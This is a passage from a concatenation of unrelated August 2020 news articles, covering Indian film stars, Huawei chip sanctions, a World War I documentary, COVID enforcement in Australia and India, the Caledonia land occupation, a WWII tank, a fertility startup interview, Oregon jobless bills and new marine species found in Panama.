Dutt with whom he has two children, a son and a daughter. He also has a daughter Trishala Dutt from his first marriage to Richa Sharma. She died of brain tumour in 1996. On the work front, Sanjay Dutt is currently awaiting the release of "Sadak 2" and "Bhuj: The Pride of India", which will premiere on Disney+Hotstar. He will also star in the second instalment of "KGF" and "Shamshera", alongside Ranbir Kapoor. In 2019, the actor had featured in three movies -- Ashutosh Gowariker's period drama "Panipat", Karan Johar-produced "Kalank" and political drama "Prassthanam". tech2 News Staff Huawei is reportedly being forced to stop production of its Kirin chipsets in the US due to the US sanctions. Richard Yu, Huawei President had reportedly confirmed that Huawei will halt its production of Kirin chips in the US on 15 September because they are made by contractors that need US manufacturing tech. He also said that the company does not have the ability to make its own chips. Now, as per the latest report by the Wall Street Journal, Qualcomm is seeking permission from the US government to remove restrictions and let it sell Snapdragon chipsets to Huawei. According to the presentation viewed by the publication, the US ban won't prevent Huawei from obtaining 5G phones hardware with the help of non-US companies like Samsung and MediaTek. This might lead Qualcomm to lose out on $8 billion per year to its rivals. As per a report by GSMArena, Huawei is looking to team up with MediaTek in 2020. The Wall Street Journal report also states, If Qualcomm is subject to export licensing, but its foreign competitors are not, US government policy will cause a rapid shift in 5G chipset market share in China and beyond." Huawei President has also hinted that the Huawei Mate 40 series may be the last to come with the high-end Kirin chipset. At the start of the war in 1914, over thirteen lakh Indian soldiers began to be shipped overseas to fight alongside the British Army. Of them, 75,000 were never to return home, killed in combat on faraway battlefields. Using rare archival footage, first-person narratives, and expert testimonials, the impeccably-researched one-hour documentary investigates Indias role in the first global conflict. It also recognises and documents the sacrifices of thousands of Indian families, thus restoring to Indias unsung heroes, their glorious and rightful place in history. As the guns fell silent towards the end of 1918, the First World War had raged for almost five long years. It had come to be known as The Great War, the war to end all wars. It had caused devastation at such a large scale that most people believed that humankind would never want to go to war again. Millions of soldiers of various nationalities had fought and died on both sides. However, very little is known about the Indian soldiers deployed on foreign soil all over the world. At the time, the leaders of Indias freedom struggle had hoped that sending our men to support the British war effort would make it possible to gain greater autonomy for India. But those hopes proved futile. Instead, imperial Great Britain even denied India due recognition for her role in winning the war. The men were forgotten. Their enormous sacrifices lost to time, unrecorded by history. Indian Member of Parliament and former Under-Secretary-General of the United Nations, Shashi Tharoor, says in the film, "No country lost as many people from any colony in the Empire, as we did and yet, I'm sorry to say, it was given very little attention. Indians sacrificed an enormous amount, and some of their letters, all of which were censored, are deeply moving." Indias Forgotten Army, premiering on 15th August, Saturday 9 PM, is an attempt to trace and document the courage and sacrifice of Indian soldiers, shipped to distant shores to live and fight in deplorable conditions. The film also uses first-person accounts to tell the story of the war and the circumstances that Indian soldiers faced, as revealed in the letters they wrote to their families, more than a hundred years ago. Viewers will also hear from the descendants of those who fought in The Great War, along with leading personalities. The documentary takes viewers to the sites of battles, memorials and war archives around the world, bringing together military experts and historians, to uncover hidden facts and retell forgotten stories. The documentary has been adapted from the book, World War Sikh: Memoirs Of An Indian Cavalryman 1913-45 by Rana T.S. Chhina. Avinash Kaul, Managing Director A+E Networks | TV18 and CEO-Broadcast for Network18, said, "In our continuing endeavour to offer top-drawer Indian and international content, History TV18 brings to its viewers the remarkable, untold story of the Indian soldiers who fought in the First World War. Their military prowess helped shape the course of human history. We salute them and their families for their incredible bravery and sacrifices." Watch the premiere of Indias Forgotten Army,' on Independence Day, 15th August, Saturday, at 9 PM, only on History TV18. A man who was refused entry to a northern NSW pub for refusing to sign-in or provide identification has been charged after threatening the manager. Police from the Tweed/Byron Police District were called to a hotel on Wharf Street, Tweed Heads on Monday and told the man had refused to comply with COVID sign-in requirements. Police say he entered the pub regardless, and refused a request to leave before intimidating and threatening the manager. Police from the Tweed/Byron Police District were called to a hotel on Wharf Street, Tweed Heads on Monday and told the man had refused to comply with COVID sign-in requirements Police found the 38-year-old man with friends in the car park and requested their details, before the man became aggressive and abusive. A 29-year-old also became aggressive and was swearing at police, while the rest of the group walked away. Police say the older man again refused to provide details and continued to be aggressive and was arrested, while the younger man continued to swear at police. The younger man was issued an infringement for offensive language and given a move-on direction. The older man was charged with a number of offences including intimidation, failing to leave premises when required, using offensive language and not complying with COVID-19 directions. The Banora Point man was refused bail to appear at Tweed Heads Local Court on Tuesday. In a separate and unrelated incident, police issued a $1000 Penalty Infringement Notice to a 34-year-old woman at the Indigenous community of Murrin Bridge on Tuesday after she returned from Victoria on Sunday but failed to self isolate, despite a warning on Monday. Six Nations protesters remained at a Caledonia construction site Monday, marking more than three weeks of occupation by the group. Demonstrators are still at the McKenzie Meadows location, said OPP Const. Rodney LeClair, in an email to The Hamilton Spectator. The protesters, who refer to themselves as land defenders, have been occupying the housing development site since mid-July. They returned to the site on Aug. 6 after they were forcibly removed by OPP the day prior. Now coined 1492 Land Back Lane by the group, the disputed land is slated for development as 218 detached homes and townhouses. The property is owned by Foxgate Developments. Six Nations elected council received 42.3 acres of land and $352,000 in cash in exchange for its support of the development. But the land defenders have claimed the development as unceded Haudenosaunee territory part of the Haldimand Tract, which is home to ongoing land claim disputes along the Grand River. In a Facebook post, Skyler Williams, one of the administrators of the group, said the group has also requested in-person meetings at the site with Prime Minister Justin Trudeau, Minister of Indigenous Services Marc Miller as well as Minister of Crown-Indigenous Relations Carolyn Bennett. Weve requested a response from officials by Friday, August 14, reads the post. We are calling for supporters and allies to contact their offices to demand they meet. LeClair said Monday Highway 6 remained closed between Fourth Line and Greens Road. Argyle Street between Highway 6 and Braemar Avenue is also blocked. Open dialogue continues today in an effort toward a peaceful resolution, said LeClair. On Friday, the Ontario Superior Court upheld an injunction barring protesters from the construction site. A second blanket injunction prohibiting anyone from demonstrating on county roads requested by Haldimand County was also awarded. As of Monday afternoon, LeClair could not provide a timeline as to when police may enforce the injunctions. Actor Rana Daggubati got married to Miheeka Bajaj on August 8, 2020, in the presence of 30 guests. Their wedding took place at Ramanaidu Studios, Hyderabad. Rana and Miheeka's beautiful wedding pictures went viral on social media and fans can't stop gushing over their bride and groom look. Rana Daggubati and Miheeka Bajaj received lovely wishes from the celebs as well as his fans on social media. However, the newly-wed couple recently got the most delightful wish from the dairy brand Amul India with a special surprise. Interestingly, Amul shared an adorable doodle of Rana and Miheeka in which their animated versions can be seen feeding bread and butter to each other. Amul's official Twitter handle shared this doodle with the caption, "#Amul Topical: The Rana- Miheeka 'shaadi' is an Internet sensation!"In the above picture, one can see Rana Daggubati feeding his wife Miheeka bread and butter. Along with them, the brand's iconic mascot aka Amul Baby can also be seen standing in a saree and holding a plate of bread and butter. The dairy brand also wrote a beautiful note on the image which reads, "The Daggubutterly wedding! Rana, yeh khana!." Overwhelmed with the special surprise from Amul, Rana Daggubati replied to them on Twitter. The Baahubali star wrote, "Thank you." For those who don't know, Amul often makes cute yet interesting doodles on various events that happen in our country under their #AmulTopical series. Coming back to Rana and Miheeka's wedding, celebs like Allu Arjun, Ram Charan, his wife Upasana Kamineni, Samantha Akkineni and her husband Naga Chaitanya attended the ceremony. The hosts arranged for all the safety measures according to the guidelines provided by the government. They had also transformed the wedding venue into a bio-secure bubble to curb COVID-19 spread. Also Read : Rana Daggubati & Miheeka Bajaj Receive Sweet Surprise From Amul Post Wedding After the wedding, Rana Daggubati and Miheeka Bajaj also performed Satyanarayana Puja at the Daggubati house on August 10. Also Read : Rana Daggubati And Miheeka Bajaj's Journey From Proposal To Marriage Is Nothing Less Than A Movie The Rivers State Government has pulled out of the Special Public Works Programme of the Federal Government where seven hundred and seventy... The Rivers State Government has pulled out of the Special Public Works Programme of the Federal Government where seven hundred and seventy-four thousand unskilled Nigerians were supposed to be employed. Nominee of the Rivers State government in the Committee, Erastus Awortu made the decision of the state known in a letter addressed to the Minister of State for Labour and Productivity, Festus Keyamo. Awortu, who is also the Special Adviser to Governor Nyesom Wike on NDDC, alleged that the implantation of the programme which is designed to employ one thousand persons per Local government area has been hijacked by the All Progressives Congress, APC in Rivers State. The Rivers State nominee, Erastus Awortu, described the Special Public Works Programme as a scam. At the beginning, some guidelines were set on how the slots should be shared among the various interest groups. The various interest groups are 35 and have representatives in the committee but unfortunately, that is not being done by the Committee. The guidelines are not being followed. The Committee has been asking people to process their applications but we found out that they also gave out forms to APC members in the state. Which means they already know those they will shortlist for the programme and they are only stressing other people to apply. They are doing that to justify that due process is being followed but that is not the case. I find it very misleading and as the representative of the Governor, I will not be part of that kind of process where the populace will be made to apply for what is not available. It is an absolute scam. Accordingly, I want to say that since the slots are not defined as per the guidelines that the state is willing to allow the programme be run fully as an APC empowerment programme for their members and cease to be part of it forthwith, Awortu said. Chairman of the Special Public Works Programme in River state, Innocent Barikor had on a radio programme over the weekend in Port Harcourt, said the committee had no plans to undermine the state government in the implementation of the programme. Governor Nyesom Wike and the Chairman of the Public Works Programme, Innocent Barikor were copied in the withdrawal letter. " " An early Cromwell A-27M Infantry Tank on gunnery trials in England. 2007 Publications International, Ltd. The Cromwell A-27M Infantry Tank made an important contribution to British armored tactics in World War II. By 1941 the British General Staff was convinced of the need for a tank that was faster and more heavily gunned than either the Matilda II or the Matilda II's replacement, the Churchill Infantry Tank, which could only travel at 15.5 miles per hour and was equipped with only a 40mm gun. Advertisement Experience in the Western Desert of North Africa showed that once enemy tanks were defeated, friendly tanks had to be able to fire high-explosive rounds in support of infantry. As a result, new specifications were published, and a fast tank useful in cavalry and infantry support roles was put into development. Tank Image Gallery After several false starts, the British General Staff settled on a tank design known as the Cromwell A-27M Infantry Tank. It was to be powered by the Rolls Royce Merlin engine used in the Spitfire and Hurricane fighter aircraft but detuned from 1,075 to 600 horsepower. This was more than sufficient to move the Cromwell's 31 tons at speeds up to 40 miles per hour. This top speed was later reduced to 38 miles per hour when it was discovered that the chassis could not withstand the faster speed. A six-pounder (57mm) gun was selected as the main armament because it was considered powerful enough to penetrate Nazi German armor in frontal attacks. But the six pounder was found to be substandard when firing a high-explosive round against troops. The six pounder was also easily outranged by antitank gunners equipped with the 88mm antitank gun. A search was begun for a larger round and gun to provide the needed firepower. By early 1943 the British had gained substantial experience with the American M-4 Sherman, which was equipped with a 75mm gun. The solution to the Cromwell's poor firepower was to use a gun similar to the Sherman's on the Cromwell. It helped that ammunition was plentiful from the American Lend Lease program and from captured Vichy French (the French government that collaborated with the Nazi Germans) stocks in Syria. The 57mm gun was bored out to accommodate the 75mm round, the barrel was shortened, and a muzzle brake was added. Two BESA 7.92mm machine guns were also mounted, one in the turret coaxial with the main gun and the other in the hull. The limited scope of the hull machine gun made it of questionable value, and it was often left out in later production. To learn more about the Cromwell A-27M Infantry Tank's performance, continue to the next page. For more information about tanks and the military, see: Entrepreneurs July 2020 cover featured not one or two people but a whopping 137. Why did we put 137 people on the cover? Read all about it in Jason Feifers editors note. Afton Vechery and Carly Leahy, founders of Modern Fertility, were two of those people. Their companys best-known product is an at-home fertility test that evaluates a womans hormone levels based on her birth control and gives her doctor-reviewed information about ovarian reserve, egg freezing, IVF and menopause based on her results. It also sells Modern Fertility-branded pregnancy and ovulation tests and offers one-to-one consultations with fertility nurses and so-called egginars for women to ask their most pressing fertility-related questions. Related: 'We Built This Company List By List,' Says the Co-Founder of This At-Home Fertility Testing Startup After the issue came out, we caught up with the pair to discuss how the pandemic and economic downturn are impacting peoples plans to have children and the intersection of money and fertility. Q: Did you notice an uptick in interest in your business in March? What did you initially attribute that to? Afton: We saw an initial dip in our business. In these first few weeks, it seemed that people didnt have an appetite to buy things online, aside from food and household essentials. In April, we regained some normalcy (at least, in terms of our business) and went on to have some of our strongest days and weeks yet for our core offering. Now we think were seeing an acceleration of many of the trends that were driving Modern Fertility all along. People want to be more intentional about family planning and have a desire to control the areas where they have some agency, while the temporary closures of fertility clinics have exposed the vulnerabilities of the traditional, reactive approach to fertility. All of these trends are helping put fertility conversations out in the open and intention and conversations alone are central to Modern Fertility. Has it changed the way you view your company's growth trajectory? Carly: Were extremely fortunate to have a model that supports women from home. While we could have certainly never predicted this, we always believed that fertility information and care should be accessible to her wherever she is. Were continuing to roll out new tests and digital tools that are accessible for everyone, from anywhere. Afton: With uncertainty about the future, we reconfigured some of yearly goals to fit this new reality. Our primary priority is the health of our employees and making sure they feel supported while we focus on staying strong as a business during these times and optimizing for the long term. Growing sustainably was also a key, top-line goal for Modern Fertility, but now more than ever, we are prudent with our investments and staying nimble. Related: How IVF Treatment Brings in Fertility, Pregnancy and Motherhood I assume you've always collected data about your customers. What made you want to start sharing that data? Carly: Research has always been core to Modern Fertility. As a company committed to making personalized fertility information more accessible, were also committed to continuing to improve the quality of that information with new research that pushes the industry forward. Every year, we publish a flagship research report, the Modern State of Fertility, which examines specific cultural and societal elements of fertility. We also ask customers if theyd like to opt in and consent to have their results anonymized and used in clinical research by our team that helps uncover new nuances in reproductive medicine to ultimately build a better predictor of future fertility. For our annual Modern State of Fertility research report this year, we partnered with SoFi very early in 2020 to run a survey that explored the ways that fertility, money and careers are interlinked. Come early March, we had just wrapped up the survey analysis and COVID-19 changed the world in ways none of us could have expected. We knew we had to go back out to the survey participants and ask them how their attitudes may have changed since COVID-19, particularly given how inextricably linked the pandemic is with fertility, money and careers. It was a big lift for our team to reorient parts of the project to focus on COVID-19, but we knew it was important, necessary work. As a result, we were able to produce some of the industrys first data points on how COVID-19 was impacting fertility decisions, providing critical macro-level info about this new reality. Its been very rewarding to see the research continue to show up in industry articles and commentary as a foundation for explaining how things are changing. How has sharing this impacted your business? How do you think it will impact it in the future? Afton: Weve always been deeply committed to research, but the timeliness and gravity of this report seemed to really establish Modern Fertility as a resource for pressing, data-driven analysis. Weve continued to get inquiries from industry professionals and experts asking for our commentary on these trends and are already actively exploring new concepts and partners for our next Modern State of Fertility report. When we publish our Modern State of Fertility reports, we try to include as many helpful resources as possible related to the issue we explore, whether they come from Modern Fertility or not. For this report on fertility, money, careers and COVID-19, we worked with SoFi to create comprehensive guides on navigating fertility amid a downturn, based on the expert advice of career counselors and financial advisors. We also offered custom cuts of the research organized by careers path, so people can see how trends vary specific to their industry. These opportunities for deeper engagement with our research helped us strengthen our relationship with our existing customers and grow to new audiences. Related: 5 Ways How Fertility Platforms Are Changing The Patient Experience What advice would you have for other businesses who are looking to study and release data around their customers' behavior? Carly: Think deeply about what your customers care about and what will actually be useful to them. What do they want to learn? What are they wondering but maybe dont feel supported to ask? What resources do they wish they had? When you start with utility and work backward, your work will be more relevant and tangible. Were always asking ourselves what we can make for her to use vs. what we can say. We want to bust myths, fill information gaps and provide answers to nebulous areas where women are already curious and above all, be useful. What's the biggest lesson you've learned in the past four months? Afton: Assume that these world-changing, hard problems will keep coming, keep throwing off everything you had planned, and keep pushing you to adapt. When you default to operating as if things could be turned upside down, teams are a lot more collaborative, nimble and flexible. Thats key in these crazy times. Related: How This Founder Sticks to Her Principles and Stays Open Minded at the Same Time Related: He Went From Military Service To the Successful World of Dropshipping "The Industry Still Isn't There:" Rob McPherson, Scourge of Cannabis LinkedIn Why Now Is the Perfect Time to Rethink Talent and Leadership Copyright 2020 Entrepreneur.com Inc., All rights reserved Murali Krishna CH By Express News Service Adivi Sesh made an unusual debut with Karma. A handful of supporting roles later, he eked out a space for himself in the Telugu industry with experimental films like Kshanam, Ami Thumi, Goodachari, and Evaruall solid scripts that demanded subtlety in performance. Now, Sesh is venturing into the Hindi industry with his upcoming bilingual-biopic, Major, in which he will be playing the character of the 26/11 martyr, Major Sandeep Unni Krishnan. The story struck a chord within me, and I identified with the character of Sandeep a lot, he says. I was in the US when I learned the tragic news of Sandeeps death during the 26/11 attacks. He looked like my older brother and I was shaken that a handsome and patriotic youngster, who had achieved much for his age, died so early. The actor, who has also written the film, delves into the research that went behind the script: I collected Sandeeps pictures and saved all articles about him. When I felt I was ready to do this film, I approached his parents to learn more about this great mans life. They gave me a complete perspective of who he was. Our film depicts the life of this martyr, with details few people are aware of. Sesh is particularly excited that Mahesh Babu and Sony Pictures have placed their bets on him as producers. They have given us complete freedom and Im honoured to work with such big names, says Sesh. The 34-year-old says that the team is in no hurry about shooting. We have shot 40 per cent, and are aware of the kind of movie we are making. We have a long way to go and are proud of what we have done so far. This story requires detailing and we are being careful and faithful to Sandeeps journey. The challenge, Sesh says, is recreating the periods and places Sandeep lived in. It is not possible to shoot in all the actual locations he has worked in. So we have worked on authentically recreating them. We are waiting for the Covid-19 curve to flatten, so we can resume proceedings, shares the actor, who will be dubbing for himself in Hindi too. Sesh believes in physical transformation to suit characters he plays. I had to lose about eight kilos and learn a lot to get into the character of an Army officer. These are the people who work at the border in zero degrees temperature. When I was shooting at the Indo- China border, I would run away after work and hide under layers of blankets. But thats not the case with the real officers. I have tried to bring that authenticity. All I can say is that this role is a total departure from what people have seen in my earlier films, he tells us. Lucknow: Uttar Pradesh Chief Minister Yogi Adityanath has sent two special secretary-level officials to assist the District Magistrates, in controlling the spread of the coronavirus in Kanpur and Lucknow, the cities that have constantly registered a high number of COVID-19 cases daily. According to an official spokesman, one special secretary-level official will also be appointed in Varanasi, Prayagraj, Gorakhpur, Bareilly, and Bahraich. On Monday, Lucknow and Kanpur recorded 629 and 269 cases, respectively, while Varanasi registered 148 cases, Prayagraj 223, Gorakhpur 255, Bareilly 197, and Bahraich 70. As the number of containment zones in the state climbed to 10,350 with 41,490 infected patients, Adityanath underlined the need for increasing the number of beds in Level-2 and Level-3 COVID-19 hospitals which provide facility for oxygen and ventilators. As Lucknow is currently recording the highest number of cases in the state, the Chief Minister said that the number of beds should be increased in KGMU, SGPGI, and the RML Hospital, with special instructions to complete a new hospital under KGMU for COVID-19 treatment before the scheduled deadline of October. Avanish Awasthi, Additional Chief Secretary (Home), said: "The Chief Minister has said that wherever necessary, additional manpower for hospitals should also be hired. COVID-19 hospitals should also be established in all medical colleges and a nodal officer to monitor the arrangements at these hospitals should be appointed by the health education department." Adityanath also said that it was crucial to continue with all measures required to break the coronavirus chain and it was also necessary to focus on public awareness programs through television, radio, newspapers, public address systems, posters, and banners. The police and the local administration have been asked to enforce the rule on wearing masks and maintaining social distancing very strictly. The Chief Minister has also said that fire safety norms should be followed very strictly in all COVID-19 hospitals. The fire department has carried out an inspection of several hospitals, both private and government, over the past three days. A two-hour documentary from Investigation Discovery will explore the events of the Unite the Right rally and their lasting impact on survivors. Impact of Hate: Charlottesville will air at 9 p.m. Wednesday on the third anniversary of the deadly white supremacist rally. Impact of Hate: Charlottesville showcases the power of ordinary people who stepped up to do the right thing, and sparked a national conversation about our fractured past and the harsh realities of our present, Henry Schleiff, an executive with Investigation Discovery, said in a news release. The documentarys premiere is one of several events planned to mark the anniversary. Local activist and filmmaker Tanesha Hudson is launching a visual podcast, RACE, a conversation on Redefining and Restructuring Albemarle Charlottesville Equity. The podcast can be found at instagram.com/p/CDqBEX9jnCg/?igshid=18zequwtz5ab4. In a virtual town hall Wednesday evening from the University of Virginia, a panel of religious racial justice activists will discuss why they decided to counter-protest and how theology and ethics motivate them to continue the work of racial justice. The Ministry of Sanitation and Water Resources (MSWR) has intensified its efforts to ensure that drains in the national capital, Accra, are rid of plastics and other solid waste to facilitate the flow of water. Speaking to a cross-section of journalists yesterday after an assessment tour of some of the major drains in Accra, the Minister of MSWR, Mrs. Cecilia Abena Dapaah, explained that the exercise was to help rid the Accra drains of plastics and allow for easy flow of water. we are doing sanitation or cleaning every day but some issues like blocking the drains become a bigger issue for residents, hence the presence of Zoomlion and the military to assess the situation. So we came here [Kawukudi in Accra] to assess the situation and make sure the drains are rid of these plastics, she explained. Clean Accra Project The exercise, under the Clean Accra Project, is a collaboration between the MSWR, Zoomlion Ghana Limited, the municipal assemblies, and a team of military personnel. The exercise took the minister to Kawukudi in the Ayawaso East Municipal and also the Ayawaso North Municipalall in the Greater Accra Region. According to her, if the drains were not rid of solid waste (plastics), access to easy flow of water would be difficult, which will become breeding grounds for mosquitoes and other vector transmitting agents. She went on to add that the exercise was also aimed at preventing cholera and the outbreak of other diseases. So we want to prevent cholera, malaria, and other diseases that might break out and at the same time sensitise the residents to clean their environment because it is their primary responsibility, she said. Minister lashes out recalcitrant Mrs. Dapaah lashed out at residents who had cultivated that habit of gathering waste from their homes and dumping them into the drains, describing such citizens as irresponsible. She warned against dumping refuse into the drains to ensure that they are neater, clearer. She said, refraining from throwing garbage into the drains, would see the assemblies send tricycles round to collect refuse in the various municipalities. To this end, Madam Dapaah indicated that her outfit endorses the Environmental Service Providers Agency (ESPA) Ghana policy of One House One Bin, urging ESPA to continue with the programme. We endorse the ESPA policy 110% of One House One Bin, she averred. When asked about her assessment of the effectiveness of the district assemblies in the Clean Accra Project, she said though the work was not easy, they needed to be applauded. However, she stressed that aside from sensitising and persuading residents to be mindful of their environs, the clearest and easiest way was for all of us to get a bin. She also applauded the role of the media in ensuring that the capital city was always clean. Three students of the Agona Senior High Technical School who said they could not flout their strict observance of Saturday as the Sabbath day of the Lord as members of the Seventh Day Adventists (SDA) Church, last Saturday boycotted the Asante Twi paper in the ongoing West Africa Senior School Certificate Examination (WASSCE). The students said they would rather register and write the paper in the November-December edition of the examination, if it is slated for any other day apart from Saturday than flout their religious belief. Seventh-Day Adventists around the world are known for their strict observance of Saturday as the Sabbath day of the Lord, for their emphasis on maintaining health as part of religious duty, and for their mission activities around the world. In a radio interview with Accra based Asempa FM on its Eko Sii Sen talk programme on Monday, August 10, 2020, one of the three students who boycotted the exam, [name withheld], who said he would be 17 years in November 2020 said he was standing by his faith. He insisted he will never flout his belief in keeping the Sabbath day "holy" and will not kowtow to any other thing apart from keeping Saturday as a holy day. He said apart from the three of them who boycotted the paper in his school at Agona in the Ashanti Region, there were other Adventist students in the same school who took part in the exam. [Listen to audio attached below]. The 2020 WASSCE Twi paper was undertaken on Saturday, August 8, 2020. SDA Church petition The timetable, first released by the West African Examination Council (WAEC) in January 2020 for this year's exam did not have any paper slated for Saturday. However, due to the Coronavirus pandemic, the exam was postponed. When a revised timetable was released on July 6, 2020 it had some papers slated for Saturday and some members of the SDA Church expressed concern about the development and argued that compelling Adventist students to write some papers on Saturday was wrong. They argued that, no WASSCE paper had ever been written on a Saturday and subsequently petitioned President Nana Addo Dankwa Akufo-Addo, the Ministry of Education, Ghana Education Service (GES) and WAEC. The church submitted two proposals asking for the Saturday papers to be rescheduled or either Adventist students who were to write papers on Saturday, should be quarantined and made to write the paper after sundown. After an extensive discussion, on how even opening up SDA schools which were centres for the exam on Saturday and getting teachers who were Adventists to supervise the exam was going to be problematic, the two proposals were rejected with the excuse that the WAEC exam was taking place in many countries and rescheduling it was going to come with a number of consequences. The quarantine proposal was also rejected on the grounds of not wanting to compromise the security of the exam. Subsequently, WAEC opted to use alternative centres apart from Adventist schools on Saturday. Source: graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video NA Chairwoman Nguyen Thi Kim Ngan addresses the opening of the meeting (Photo: VNA) Opening the meeting, NA Chairwoman Nguyen Thi Kim Ngan said that, amid the new outbreak of COVID-19 in Vietnam, agencies and organisations must strive to adapt to the situation and complete all necessary tasks for the remainder of the year. NA agencies should continue working closely together with relevant agencies and organisations to flexibly arrange work plans to ensure matters are submitted to the NA and NA Standing Committee for consideration, she said. The meeting is to last for three days and focus on debating a draft revised Law on Residence; a draft law on amendments and supplementations to a number of articles in the Law on the Handling of Administrative Violations; a draft revised Vietnam Border Guard Law; a draft revised Law on Environmental Protection; a draft law on amendments and supplementations to a number of articles in the Law on HIV/AIDS Prevention and Control; and a draft revised ordinance on preferential treatment for revolutionary contributors. Members of the committee will give opinions on the issuance of a decree on the management and use of defence land for military production and economic development; a strategy for the development of State Audit to 2030; and a report on three years of implementing Resolution No 42/2017/QH14 on the pilot handling of bad debts of credit institutions. Ngan said that since the COVID-19 pandemic broke out in the country, the Government has focused on controlling it and the NA Standing Committee has therefore decided to give more time to ministers to perform their regular and unscheduled tasks and will not question them. Following the opening ceremony, members of the NA Standing Committee discussed the draft revised Law on Residence. They also debated a number of issues relating to the draft Law on amendments and supplementations to a number of articles in the Law on the Handling of Administrative Violations./. Mathematical models designed by Alan Turing have helped scientists learn why birds segregate themselves into different parts of the landscape during flight. Experts from the University of Sheffield used the models Turing built to describe how animals get their spotted and striped patterns int he study of birds. The team tracked the path long-tailed tits take around Sheffield's Rivelin Valley and watched until the birds eventually produced a pattern across the landscape. They used the models to reveal the behaviours that caused these patterns including the fact the birds are less likely to avoid places they have interacted with relatives. Scientists have used mathematical modelling developed by Alan Turing to learn more about the behaviour of birds. Researchers used the method to study why flocks of long-tailed tits segregate themselves into different parts of the landscape Mathematical models designed by Alan Turing have helped scientists learn why birds segregate themselves into different parts of the landscape during flight PhD student, Natasha Ellison, led the study and said mathematical models can help us understand nature in an extraordinary number of ways. 'Long-tailed tits are too small to be fitted with GPS trackers like larger animals, so researchers follow these tiny birds on foot, listening for bird calls and identifying birds with binoculars,' said Ellison. 'The field work is extremely time consuming and without the help of these mathematical models these behaviours wouldn't have been discovered.' Flocks of long-tailed tits are less likely to avoid places where they have interacted with relatives and more likely to avoid larger flocks, they found. This comes whilst the birds prefer the centre of woodland, according to the findings published in the Journal of Animal Ecology. It was previously unknown why the birds live in separate parts of the same area, despite there being plenty of food to sustain multiple flocks. The equations used to understand the birds are similar to those developed by Mr Turing to describe how animals get their spotted and striped patterns. The maths helps determine if patterns are going to appear in the womb as the animal grows and the study used that to look for patterns across the landscape. . Aerial photograph showing the patterns on the landscape created by the mathematical models, when scientists tracked flocks of long-tailed tits in Sheffield's Rivelin Valley, South Yorkshire Territorial animals often live in segregated areas that they aggressively defend and stay close to their den, the researchers say. Before the study, mathematical ideas had been used to understand the patterns made by territorial animals such as coyotes, meerkats and even human gangs. However, this study was the first to use the ideas on non-territorial animals with no den pinning them in place. The findings have been published in the Journal of Animal Ecology. The Oregon Legislature took two very modest steps toward addressing the states backlog of unpaid jobless claims Monday, passing two bills to ease benefits processing while voting down a third proposal that might have had broader effects. The rejection ignited a partisan spat over the states faltering jobless benefits program. One bill passed during Mondays special session allows people who are working reduced hours during the pandemic to earn more money from their jobs without having their unemployment benefits reduced. The Legislature approved a second bill that allows the Department of Revenue to share information about an individuals personal income with the Oregon Employment Department. The employment department says that will accelerate its ability to evaluate claims under a new benefits program for self-employed workers that Congress approved in March. The bill lawmakers rejected Monday would have allowed the employment department to forgo an adjudication process for school employees who normally work during the summer but were furloughed during the pandemic. The employment department said that would free adjudicators to work on other claims. That bill died in legislative committee amid opposition from Republicans and from Sen. Betsy Johnson, D-Scappoose, who said the bill would give the impression of favorable treatment for public employees. Democratic Gov. Kate Brown, who has been mostly quiet about the unemployment benefits fiasco over the past two months, issued a statement attacking Republicans over Mondays vote. Its appalling that Senate Republicans today voted down a commonsense fix to the unemployment process that would put money in peoples pockets faster, Brown wrote. The bill would have eliminated red tape for education employees, freeing up staff to process other claims more quickly. Governor Brown, this is your mess, Senate Republican Leader Fred Girod, R-Stayton, fired back. Your commitment to pandering to special interests knows no bounds. You wanted your special interests to jump the line and receive unemployment benefits ahead of Oregonians that have been waiting for assistance and havent been getting it for months. Oregon has struggled to pay jobless benefits during the coronavirus pandemic, overwhelmed by hundreds of thousands of new claims and hobbled by an ancient computer system that has been unable to handle the volume of claims and adjust to changes in the benefits program. While the state has paid benefits to more than 350,000 Oregonians since the state shutdown that began in March, tens of thousands are still waiting for their checks. Note: This article has been updated to note that the two bills passed in committee Monday ultimately won full legislative approval late Monday night. -- Mike Rogoway | mrogoway@oregonian.com | twitter: @rogoway | Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Short-term home rental company Airbnb is, reportedly, close to confidentially filing paperwork for an initial public offering with the US Securities and Exchange Commission later in August. Airbnb is preparing to potentially go public before the end of the year, the report in the Wall Street Journal said. Credit: CC0 Public Domain John Steinbeck wrote Log From the Sea of Cortez in 1951, his chronicle of an expedition with marine biologist Ed Ricketts along the coast of California and Mexico. Ricketts named several of the many new marine animals they found after Steinbeck, his friend and patron of the expedition. On a similar expedition in February 2019 to Panama's Coiba National Park in the Pacific Ocean, marine biologists from the Smithsonian Tropical Research Institute (STRI) discovered several new, undescribed animals, genera and species never seen or photographed before, nearly every day. Matthieu Leray, post-doctoral fellow at STRI, invited two zoologists, STRI Research Associate Arthur Anker and Paulo Pachelle, to join the expedition to Coiba. Both are based in Brazil and specialize in the identification of decapod crustaceans, such as shrimps, crabs, hermit-crabs and lobsters. Anker named one of the new genus and species of mud-shrimps in the family Laomediidae, Strianassa lerayi, to honor both the Smithsonian in Panama and his friendship with Leray. The generic name comes from the abbreviation of the Smithsonian Tropical Research Institute and the last six letters of a morphologically similar genus, Axianassa. Since "anassa" is derived from the ancient Greek word for queen, the name of the new genus literally means "Queen of STRI." "Arthur was able to describe three new genera and one new species of shrimp based on a week of collecting in Coiba National Park," Leray said. "This is a phenomenal contribution to our knowledge of just one group of organisms. We are in the process of identifying what we found and will announce more new species soon." The team found the only known specimen of this new mud shrimp under a rock while snorkeling in shallow waters in the archipelago. The site of their discovery is only a few kilometers away from the newest STRI research station on Coibita Island. Anker and Pachelle also found a small clam with a highly reduced shell, a huge mantle with papillae and long extensible foot, popularly known as a "yoyo clam." These unusually mobile and active bivalve mollusks live in symbiosis with burrowing mantis shrimps. This is the first known yoyo clam from the eastern Pacific and represents a new species of the genus Divariscintilla. Amazingly, the site where they found a single specimen of the clam is the boat "parking area" of the STRI station at Coibita. The species is now being studied by a Japanese team, all specialists in this taxonomically difficult group of mollusks. "We are thrilled by the potential of our newest research station on Coibita," said Oris Sanjur, acting director at STRI. "The tropical eastern Pacific is still largely unexplored by specialists with knowledge of these, less obvious, organisms. At our Bocas del Toro Research Station, the director, Rachel Collin, began a program called Training in Tropical Taxonomy that brings specialists from around the world to Panama. In the past 10 years, they have identified more than 75 new species, many of which are only found in Panama. We hope to foster similar 